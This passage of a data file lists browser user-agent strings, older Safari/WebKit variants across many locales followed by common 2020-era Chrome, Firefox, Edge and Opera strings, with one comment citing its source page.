Safari/312.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/418.9 (KHTML, like Gecko) Safari/ Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; tr-tr) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.34 (KHTML, like Gecko) Dooble/1.40 Safari/534.34 Mozilla/5.0 (Windows; U; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.0; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-en) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; ca-es) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/525.28.3 (KHTML, like Gecko) Version/3.2.3 Safari/525.29 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; da) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; da-DK) AppleWebKit/523.11.1+ (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; da-dk) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; da-DK) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; el) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.4.1+ (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525+ (KHTML, like Gecko) Version/3.1.1 Safari/525.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi-FI) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; hr) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; id) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; it) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/525+ (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko-KR) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/523.12.9 (KHTML, like Gecko) Version/3.0 Safari/523.12.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/525+ (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; th) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr-TR) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/528+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/528+ (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8 Mozilla/5.0 (Windows; U; Windows NT 5.2; nl) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; pt) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; pt-BR) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.2; ru-RU) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; zh) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; cs) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; da-DK) AppleWebKit/523.12.9 (KHTML, like Gecko) Version/3.0 Safari/523.12.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/525+ (KHTML, like Gecko) Version/3.0.4 Safari/523.11 Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-gb) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-us) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-es) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; fi) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-ch) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528+ (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; nl) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; nl) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl-PL) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl-PL) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE) AppleWebKit/523.13 (KHTML, like Gecko) Version/3.0 Safari/523.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; tr-TR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr-FR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN) AppleWebKit/533+ (KHTML, like Gecko) Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+ Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+ # https://techblog.willshouse.com/2012/01/03/most-common-user-agents/ (Note: Updated December 28th 2020) Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15 Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15 Mozilla/5.0 (X11; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66 Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.57 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.101 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 OPR/72.0.3815.400 Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.47 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 